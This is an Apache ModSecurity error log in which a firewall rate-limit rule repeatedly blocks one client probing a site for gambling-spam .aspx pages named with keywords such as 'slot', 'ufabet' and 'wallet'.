[Wed Mar 25 05:27:39.599346 2026] [:error] [pid 755:tid 838] [client 217.182.194.25:59884] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acMBy6S6bdaeEwgCGwoyjwAAAE8"]
[Wed Mar 25 05:27:42.213096 2026] [:error] [pid 755:tid 847] [client 217.182.194.25:59896] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "acMBzqS6bdaeEwgCGwoylgAAAFg"]
[Wed Mar 25 05:27:44.706660 2026] [:error] [pid 892:tid 901] [client 217.182.194.25:59912] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "acMB0CT_G8WMU3T3yxoq9gAAAMQ"]
[Wed Mar 25 05:27:47.672143 2026] [:error] [pid 47946:tid 47965] [client 217.182.194.25:59928] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "acMB0zipQTqBMSeKYhfl_gAAARE"]
[Wed Mar 25 05:27:50.319600 2026] [:error] [pid 47946:tid 47955] [client 217.182.194.25:53466] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "acMB1jipQTqBMSeKYhfmBgAAAQc"]
[Wed Mar 25 05:27:52.836445 2026] [:error] [pid 47989:tid 48007] [client 217.182.194.25:53480] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "acMB2CWKdJMhIccROjlcpgAAAVA"]
[Wed Mar 25 05:27:55.609770 2026] [:error] [pid 756:tid 869] [client 217.182.194.25:53490] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "acMB2zOaW6oylMIDBCR4WAAAAJE"]
[Wed Mar 25 05:27:58.158894 2026] [:error] [pid 755:tid 842] [client 217.182.194.25:36722] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "acMB3qS6bdaeEwgCGwoyqgAAAFM"]
[Wed Mar 25 05:28:00.891012 2026] [:error] [pid 754:tid 767] [client 217.182.194.25:36738] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acMB4DisL3asPbA3Cti2ygAAAAI"]
[Wed Mar 25 05:28:03.387770 2026] [:error] [pid 47989:tid 48006] [client 217.182.194.25:36754] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acMB4yWKdJMhIccROjlc6QAAAU8"]
[Wed Mar 25 05:28:06.107040 2026] [:error] [pid 47989:tid 48012] [client 217.182.194.25:36764] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "acMB5iWKdJMhIccROjlc8QAAAVU"]
[Wed Mar 25 05:28:08.626158 2026] [:error] [pid 47989:tid 48014] [client 217.182.194.25:34718] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "acMB6CWKdJMhIccROjlc_wAAAVc"]
[Wed Mar 25 05:28:11.423592 2026] [:error] [pid 47989:tid 47992] [client 217.182.194.25:34732] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acMB6yWKdJMhIccROjldHAAAAUE"]
[Wed Mar 25 05:28:14.101781 2026] [:error] [pid 47946:tid 47949] [client 217.182.194.25:34746] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acMB7jipQTqBMSeKYhfmKAAAAQE"]
[Wed Mar 25 05:28:16.840700 2026] [:error] [pid 47946:tid 47968] [client 217.182.194.25:34750] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "acMB8DipQTqBMSeKYhfmLwAAARQ"]
[Wed Mar 25 05:28:19.500204 2026] [:error] [pid 755:tid 836] [client 217.182.194.25:59172] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acMB86S6bdaeEwgCGwoywAAAAE0"]
[Wed Mar 25 05:28:21.918574 2026] [:error] [pid 756:tid 870] [client 217.182.194.25:59182] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acMB9TOaW6oylMIDBCR4bAAAAJI"]
[Wed Mar 25 05:28:45.335318 2026] [:error] [pid 47946:tid 47950] [client 217.182.194.25:59196] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "acMCDTipQTqBMSeKYhfmlAAAAQI"]
[Wed Mar 25 05:28:47.943446 2026] [:error] [pid 755:tid 839] [client 217.182.194.25:49498] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "acMCD6S6bdaeEwgCGwoy2QAAAFA"]
[Wed Mar 25 05:28:50.427691 2026] [:error] [pid 756:tid 863] [client 217.182.194.25:49502] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "acMCEjOaW6oylMIDBCR4lQAAAIs"]
[Wed Mar 25 05:28:53.000300 2026] [:error] [pid 892:tid 911] [client 217.182.194.25:49518] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acMCFCT_G8WMU3T3yxordQAAAM0"]
[Wed Mar 25 05:28:55.565177 2026] [:error] [pid 47946:tid 47960] [client 217.182.194.25:49532] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acMCFzipQTqBMSeKYhfmsgAAAQw"]
[Wed Mar 25 05:28:58.342288 2026] [:error] [pid 47989:tid 48012] [client 217.182.194.25:53482] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "acMCGiWKdJMhIccROjldgQAAAVU"]
[Wed Mar 25 05:29:00.868720 2026] [:error] [pid 47946:tid 47967] [client 217.182.194.25:53494] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "acMCHDipQTqBMSeKYhfmuQAAARM"]
[Wed Mar 25 05:29:03.318815 2026] [:error] [pid 755:tid 824] [client 217.182.194.25:53502] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "acMCH6S6bdaeEwgCGwoy5wAAAEk"]
[Wed Mar 25 05:29:05.875525 2026] [:error] [pid 892:tid 921] [client 217.182.194.25:53514] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "acMCIST_G8WMU3T3yxoriQAAANY"]
[Wed Mar 25 05:29:08.443683 2026] [:error] [pid 754:tid 789] [client 217.182.194.25:36898] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acMCJDisL3asPbA3Cti29QAAABg"]
[Wed Mar 25 05:29:10.971491 2026] [:error] [pid 756:tid 856] [client 217.182.194.25:36912] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acMCJjOaW6oylMIDBCR4qgAAAIQ"]
[Wed Mar 25 05:29:13.892610 2026] [:error] [pid 47946:tid 47957] [client 217.182.194.25:36928] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acMCKTipQTqBMSeKYhfm3QAAAQk"]
[Wed Mar 25 05:29:16.499506 2026] [:error] [pid 47946:tid 47968] [client 217.182.194.25:36936] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acMCLDipQTqBMSeKYhfm5AAAARQ"]
[Wed Mar 25 05:29:19.065653 2026] [:error] [pid 892:tid 906] [client 217.182.194.25:53486] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acMCLyT_G8WMU3T3yxorowAAAMg"]
[Wed Mar 25 05:29:21.679160 2026] [:error] [pid 755:tid 826] [client 217.182.194.25:53492] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acMCMaS6bdaeEwgCGwoy8QAAAEs"]
[Wed Mar 25 05:29:24.468117 2026] [:error] [pid 47989:tid 48007] [client 217.182.194.25:53494] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acMCNCWKdJMhIccROjldtgAAAVA"]
[Wed Mar 25 05:29:26.770542 2026] [:error] [pid 47946:tid 47958] [client 217.182.194.25:53504] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "acMCNjipQTqBMSeKYhfm-AAAAQo"]
[Wed Mar 25 05:29:29.293639 2026] [:error] [pid 892:tid 895] [client 217.182.194.25:38610] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "acMCOST_G8WMU3T3yxoruQAAAME"]
[Wed Mar 25 05:29:32.001864 2026] [:error] [pid 756:tid 856] [client 217.182.194.25:38622] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "acMCPDOaW6oylMIDBCR4xAAAAIQ"]
[Wed Mar 25 05:29:34.406184 2026] [:error] [pid 47946:tid 47953] [client 217.182.194.25:38626] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acMCPjipQTqBMSeKYhfnDgAAAQU"]
[Wed Mar 25 05:29:36.909755 2026] [:error] [pid 47989:tid 48000] [client 217.182.194.25:38638] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "acMCQCWKdJMhIccROjldyAAAAUk"]
[Wed Mar 25 05:29:39.412283 2026] [:error] [pid 47946:tid 47964] [client 217.182.194.25:37202] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "acMCQzipQTqBMSeKYhfnHQAAARA"]
[Wed Mar 25 05:29:42.006428 2026] [:error] [pid 47989:tid 48005] [client 217.182.194.25:37212] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "acMCRiWKdJMhIccROjld2AAAAU4"]
[Wed Mar 25 05:30:03.607030 2026] [:error] [pid 47946:tid 47970] [client 217.182.194.25:37226] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "acMCWzipQTqBMSeKYhfnWAAAARY"]
[Wed Mar 25 05:30:06.099795 2026] [:error] [pid 47946:tid 47971] [client 217.182.194.25:50982] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "acMCXjipQTqBMSeKYhfnXgAAARc"]
[Wed Mar 25 05:30:08.480588 2026] [:error] [pid 755:tid 818] [client 217.182.194.25:55760] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "acMCYKS6bdaeEwgCGwozDwAAAEU"]
[Wed Mar 25 05:30:10.894583 2026] [:error] [pid 755:tid 826] [client 217.182.194.25:55774] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acMCYqS6bdaeEwgCGwozFwAAAEs"]
[Wed Mar 25 05:30:13.449034 2026] [:error] [pid 756:tid 850] [client 217.182.194.25:55788] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acMCZTOaW6oylMIDBCR49wAAAIA"]
[Wed Mar 25 05:30:15.918608 2026] [:error] [pid 892:tid 921] [client 217.182.194.25:55800] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acMCZyT_G8WMU3T3yxosFwAAANY"]
[Wed Mar 25 05:30:18.348972 2026] [:error] [pid 756:tid 853] [client 217.182.194.25:38674] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acMCajOaW6oylMIDBCR4_gAAAIM"]
[Wed Mar 25 05:30:20.948204 2026] [:error] [pid 47946:tid 47956] [client 217.182.194.25:38676] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acMCbDipQTqBMSeKYhfnhgAAAQg"]
[Wed Mar 25 05:30:23.369581 2026] [:error] [pid 756:tid 859] [client 217.182.194.25:38682] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "acMCbzOaW6oylMIDBCR5CQAAAIc"]
[Wed Mar 25 05:30:25.836993 2026] [:error] [pid 47989:tid 48000] [client 217.182.194.25:38686] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "acMCcSWKdJMhIccROjleZAAAAUk"]
[Wed Mar 25 05:30:28.360024 2026] [:error] [pid 47989:tid 47991] [client 217.182.194.25:55454] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "acMCdCWKdJMhIccROjledAAAAUA"]
[Wed Mar 25 05:30:30.782956 2026] [:error] [pid 47989:tid 48015] [client 217.182.194.25:55466] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "acMCdiWKdJMhIccROjleiwAAAVg"]
[Wed Mar 25 05:30:33.308590 2026] [:error] [pid 47946:tid 47962] [client 217.182.194.25:55480] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acMCeTipQTqBMSeKYhfnnAAAAQ4"]
[Wed Mar 25 05:30:35.767134 2026] [:error] [pid 755:tid 844] [client 217.182.194.25:55488] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "acMCe6S6bdaeEwgCGwozJgAAAFU"]
[Wed Mar 25 05:30:38.152713 2026] [:error] [pid 47989:tid 48004] [client 217.182.194.25:59238] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "acMCfiWKdJMhIccROjlepwAAAU0"]
